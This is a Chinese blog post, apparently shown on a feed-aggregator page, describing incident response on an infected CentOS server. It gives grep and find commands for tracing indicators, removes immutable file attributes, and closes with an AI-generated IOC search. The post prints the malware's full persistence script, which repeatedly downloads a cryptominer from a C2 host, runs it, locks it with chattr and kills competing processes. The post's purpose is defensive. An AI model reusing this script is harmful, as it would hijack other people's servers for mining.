惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

P
Proofpoint News Feed
Microsoft Azure Blog
Microsoft Azure Blog
Jina AI
Jina AI
博客园_首页
宝玉的分享
宝玉的分享
The Cloudflare Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
量子位
T
Tailwind CSS Blog
雷峰网
雷峰网
Blog — PlanetScale
Blog — PlanetScale
Last Week in AI
Last Week in AI
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Hugging Face - Blog
Hugging Face - Blog
月光博客
月光博客
罗磊的独立博客
F
Fortinet All Blogs
酷 壳 – CoolShell
酷 壳 – CoolShell
Stack Overflow Blog
Stack Overflow Blog
J
Java Code Geeks
V
V2EX
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
The GitHub Blog
The GitHub Blog
Apple Machine Learning Research
Apple Machine Learning Research
博客园 - 聂微东
U
Unit 42
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
D
Docker
阮一峰的网络日志
阮一峰的网络日志
I
InfoQ
Simon Willison's Weblog
Simon Willison's Weblog
D
DataBreaches.Net
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
I
Intezer
Scott Helme
Scott Helme
B
Blog
M
MIT News - Artificial intelligence
K
Kaspersky official blog
H
Help Net Security
V
Vulnerabilities – Threatpost
C
CXSECURITY Database RSS Feed - CXSecurity.com
Engineering at Meta
Engineering at Meta
博客园 - 【当耐特】
L
Lohrmann on Cybersecurity
P
Privacy & Cybersecurity Law Blog
Project Zero
Project Zero
The Hacker News
The Hacker News
B
Blog RSS Feed
T
Tor Project blog

博客园 - 与f

微软的人机验证 docker运行hermes agent python使用docx库对在word中的表格合并操作 Python 项目创建+依赖管理+版本控制 百度飞桨PaddleOCR-VL识别发票图片输出json格式 大模型微调后导出,部署服务然后后端调用 openclaw的一些聊天配置 docker 部署 openclaw llama.cpp编译 微信小程序显示ai返回的markdown或html C#多端桌面程序(可跨平台) 主流 MySQL 热备份方案 基于SRS(Simple Realtime Server)+ CDN边缘节点加速3个nginx做文件分发1个nginx做负载均衡 一份基于SRS(Simple Realtime Server)+ CDN边缘节点srs edge加速的万人级直播部署清单 HLS(HTTP Live Streaming)标准的视频及加密和解密播放 HLS(HTTP Live Streaming)标准的视频及加密 使用Dockerfile创建一个hyperf容器做为开发环境 docker的hyperf框架docker-compose一键安装 通过vm虚拟中的docker 环境做开发 ubuntu 安装后ssh 连接到服务器 lvm的概念和操作(linux) PHP Attributes 注解 Centos8网络配置小工具 Keepalive实现一个高可用负载均衡场景 Keepalived详解:原理、编译安装与高可用集群配置
centos 服务器查找一些字符串
与f · 2025-12-23 · via 博客园 - 与f

服务器被 入侵了 不停的访问  http://agent.apacheorg.top:1234 地址。

1.查了一下所有敏感目录下,有这个字符串的文件。

2.挨个看,发现木马的维护程序.inis ,然后AI分析,

3.一键给出处理方式,按照步骤操作就行,删文件,删定时任务,杀进程等.

4.查看开机服务

centos 服务器重要位置查找一些字符串

grep -r ":1234" /root /home /tmp /var/tmp /etc/cron* /etc/init.d /usr/sbin /usr/local/bin 2>/dev/null
find /tmp /var/tmp /usr/sbin -name ".rsyslogds*" -type f 2>/dev/null
# 搜索所有常见文本配置/脚本文件,排除虚拟目录和二进制文件
grep -r --include="*.{sh,py,pl,js,json,yml,yaml,conf,cfg,txt,log,ini,bashrc,bash_profile}" \
      --exclude-dir={proc,sys,dev,run,tmp,var/cache,usr/share,lib,lib64,bin,sbin} \
      ":1234" / 2>/dev/null
grep -r ":1234" \
    /etc \
    /root \
    /home \
    /var/spool/cron \
    /etc/cron.d \
    /etc/cron.hourly \
    /usr/local/bin \
    /opt \
    2>/dev/null
grep -r ":1234" /etc /root /home /tmp /var/tmp /usr/sbin /usr/local 2>/dev/null


服务器发现的木马脚本

image

 
[root@ecs-49ca cron.d]# cat /usr/sbin/.inis
#!/bin/bash
if ! [ -z "$(command -v wdl)" ] ; then DLB="wdl -O " ; fi ; if ! [ -z "$(command -v wge)" ] ; then DLB="wge -O " ; fi
if ! [ -z "$(command -v wget2)" ] ; then DLB="wget2 -O " ; fi ; if ! [ -z "$(command -v wget)" ] ; then DLB="wget -O " ; fi
if ! [ -z "$(command -v cdl)" ] ; then DLB="cdl -Lk -o " ; fi ; if ! [ -z "$(command -v cur)" ] ; then DLB="cur -Lk -o " ; fi
if ! [ -z "$(command -v curl2)" ] ; then DLB="curl2 -Lk -o " ; fi ; if ! [ -z "$(command -v curl)" ] ; then DLB="curl -Lk -o " ; fi
echo $DLB
if [ -w /usr/sbin ]; then
  SPATH=/usr/sbin
else
  SPATH=/tmp
fi
kill(){
  ps aux | grep -v '.rsyslogds' |grep -v '.libs'| grep -v grep | awk '{if($3>50.0) print $2}' | while read procid
  do
    kill -9 $procid
  done
}
while true; do
  ipurl="http://agent.apacheorg.top:1234"
  MD5_1_XMR = `curl -fsSL $ipurl/v||wget -q -O - $ipurl/v`
  MD5_2_XMR=`md5sum $SPATH/.rsyslogds | awk '{print $1}'`
  if [ "$MD5_1_XMR" = "$MD5_2_XMR" ]; then
    if [ $(ps -aux|grep '.rsyslogds'|grep -v grep|wc -l) -eq '0' ];then
      $SPATH/.rsyslogds
    else
      echo "ok"
    fi
  else
    $DLB $SPATH/.rsyslogds $ipurl/.rsyslogds;chmod +x $SPATH/.rsyslogds;$SPATH/.rsyslogds
    chattr +ai $SPATH/.rsyslogds
  fi
  kill
  sleep 1m
done

image

image

image

image

image

image

查看开机服务区

 查看所有 已启用 的开机自启服务

systemctl list-unit-files --type=service --state=enabled
crond.service                    enabled
sshd.service                     enabled
.rsyslogds.service               enabled   ← ⚠️ 可疑!
#检查是否有隐藏/伪装服务
ls -la /etc/systemd/system/*.service /usr/lib/systemd/system/*.service 2>/dev/null

# 重点检查非标准名称(如带点、下划线、随机名)
ls -la /etc/systemd/system/ | grep -E "\.(service|socket|timer)$"
#查找一个服务的路径地址
systemctl show mybackdoor.service -p FragmentPath

有些文件无法删除,被加了不可删除属性

文件加了属性,删除不了

image

image

这是一串 15 位字符,表示文件的属性。我们来逐位解释:

1 - 不是目录(如果是 d 表示目录) 2 - 没有 s 属性(同步写入) 3 - 没有 S 属性(异步写入) 4 - 没有 u 属性(未备份) 5 i ✅ immutable(不可变) → 这是关键! 6 - 没有 a 属性(只允许追加) 7~15 -------- 其他属性为空
位置字符含义

🚨 关键信息:i 属性 = 不可修改、不可删除!

✅ i 属性的作用:

  • 禁止任何用户(包括 root)修改、删除、重命名该文件
  • 只有使用 chattr -i 才能取消这个保护
  • 常用于防止系统关键文件被误删,但也被攻击者滥用
修改属性 chattr -i /usr/sbin/.rsyslogds

修改属性 chattr -a /usr/sbin/.rsyslogds

rm -f /usr/sbin/.rsyslogds
查看属性
lsattr /usr/sbin/.rsyslogds

能否帮我些一个 全面查找木马字符串 的 命令

当然可以!以下是一个 安全、高效、全面 的命令,用于在 CentOS 系统中查找与木马相关的可疑字符串(如 :1234agent.apacheorg.topxmss.rsyslogds 等),不会卡死系统,并聚焦于攻击者最可能藏匿的位置

# 定义要搜索的关键词(可按需扩展)
KEYWORDS=":1234\|agent\.apacheorg\.top\|xmss\|\.rsyslogds\|\.inis\|oanacroner1\|192\.210\.200\.66"

# 安全扫描:只查文本类文件 + 关键目录 + 跳过虚拟/二进制路径
grep -rE --include="*.{sh,py,pl,js,json,yml,yaml,conf,cfg,txt,log,ini,bashrc,bash_profile}" \
         --exclude-dir={proc,sys,dev,run,tmp,var/cache,usr/share,lib,lib64,bin,sbin} \
         "$KEYWORDS" \
         /etc /root /home /var/spool/cron /etc/cron* /usr/sbin /usr/local/bin /opt 2>/dev/null

🔍 命令说明

KEYWORDS=... 包含你已知的所有恶意特征:
• 端口 :1234
• C2 域名 agent.apacheorg.top
• 脚本名 xmss
• 隐藏文件 .rsyslogds.inis
• 定时任务名 oanacroner1
• C2 IP 192.210.200.66--include="*.{...}" 只扫描 文本类配置/脚本文件,跳过二进制程序 --exclude-dir={...} 避开 /proc/sys/dev 等虚拟文件系统,防止卡死 搜索路径 覆盖所有高危目录:
• /etc(配置)
• /root/home(用户目录)
• /var/spool/cron/etc/cron*(定时任务)
• /usr/sbin/usr/local/bin(木马常驻位置)
部分作用